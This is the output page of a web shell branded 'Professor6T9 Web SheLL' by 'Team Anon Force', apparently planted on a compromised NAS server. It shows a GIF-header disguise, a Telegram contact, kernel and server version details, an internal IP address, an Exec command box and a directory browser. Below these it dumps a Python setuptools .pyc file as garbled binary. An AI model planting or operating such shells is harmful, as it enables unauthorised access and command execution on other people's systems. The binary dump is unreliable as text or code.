GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
command
/
__pycache__
[ HOME ]
Exec
Submit
File Name : egg_info.cpython-38.pyc
U �}�h�g � @ s� d Z ddlmZ ddlmZ ddlmZ ddlm Z ddlZddlZddl Z ddlZddlZddl Z ddlZddlZddlmZ dd lmZmZ d dlmZ ddlmZ dd lmZ ddlmZ ddlmZ ddlmZ ddlm Z ddl!m"Z" ddl#m$Z$ ddl%m&Z& dj'e j(� Z)dd� Z*G dd� d�Z+G dd� de+e�Z,G dd� de�ZG dd� de�Z-dd � Z.d!d"� Z/d#d$� Z0ej1Z1ej2Z2d%d&� Z3d'd(� Z4d2d*d+�Z5d,d-� Z6d3d.d/�Z7G d0d1� d1e&�Z8dS )4zUsetuptools.command.egg_info Create a distribution's .egg-info directory and contents� )�FileList)�DistutilsInternalError)�convert_path)�logN� )�metadata)� _entry_points�_normalization� )�_requirestxt)�Command)�sdist)�walk_revctrl)�edit_config)� bdist_egg)�glob)� packaging)�SetuptoolsDeprecationWarningz{}.{}c C s� d}| � tjj�}t�tj�}d|f }t|�D �]�\}}|t|�d k}|dkrr|r`|d7 }q0|d||f 7 }q0d}t|�} || k �r�|| } | dkr�||d 7 }�n | d kr�||7 }n�| d k�r�|d }|| k r�|| dkr�|d }|| k �r|| dk�r|d }|| k �r,|| dk�r,|d }�q|| k�rF|t�| �7 }nR||d |� }d} |d dk�rxd } |dd� }| t�|�7 } |d| f 7 }|}n|t�| �7 }|d7 }q~|s0||7 }q0|d7 }tj|tj tj B d�S )z� Translate a file path glob like '*.txt' in to a regular expression. This differs from fnmatch.translate which allows wildcards to match directory separators. It also knows about '**/' which matches any number of directories. � z[^%s]r �**z.*z (?:%s+%s)*r �*�?�[�!�]�^Nz[%s]z\Z)�flags)�split�os�path�sep�re�escape� enumerate�len�compile� MULTILINE�DOTALL)r �pat�chunksr Z valid_char�c�chunk� last_chunk�iZ chunk_len�charZinner_i�innerZ char_class� r0 �B/tmp/pip-target-k_nuic9h/lib/python/setuptools/command/egg_info.py�translate_pattern% sV r2 c @ sd e Zd ZdZdZedd� �Zdd� Zdd� Ze e d�d d �Ze d�dd �Ze d�dd�Z ee �ZdS )� InfoCommonNc C s t �| j�� �S �N)r � safe_name�distribution�get_name��selfr0 r0 r1 �name| s zInfoCommon.namec C s | � | j�� �}t�|�S r4 )� _maybe_tagr6 �get_versionr �safe_version)r9 Ztaggedr0 r0 r1 �tagged_version� s zInfoCommon.tagged_versionc C s | j r| �|�r|S || j S )z� egg_info may be called more than once for a distribution, in which case the version string already contains all tags. )�vtags�_already_tagged�r9 �versionr0 r0 r1 r; � s ���zInfoCommon._maybe_tag)rB �returnc C s |� | j�p|� | �� �S r4 )�endswithr? � _safe_tagsrA r0 r0 r1 r@ � s zInfoCommon._already_tagged)rC c C sN zt �d| j� ��dd � W S tjjk rH t �| j�dd�� Y S X d S )N�0r � �.)r r= r? r rB �InvalidVersionr5 �replacer8 r0 r0 r1 rE � s zInfoCommon._safe_tagsc C s, d}| j r|| j 7 }| jr(|t�d�7 }|S )Nr z%Y%m%d)� tag_build�tag_date�time�strftimerA r0 r0 r1 �tags� s zInfoCommon.tags)�__name__� __module__�__qualname__rK rL �propertyr: r>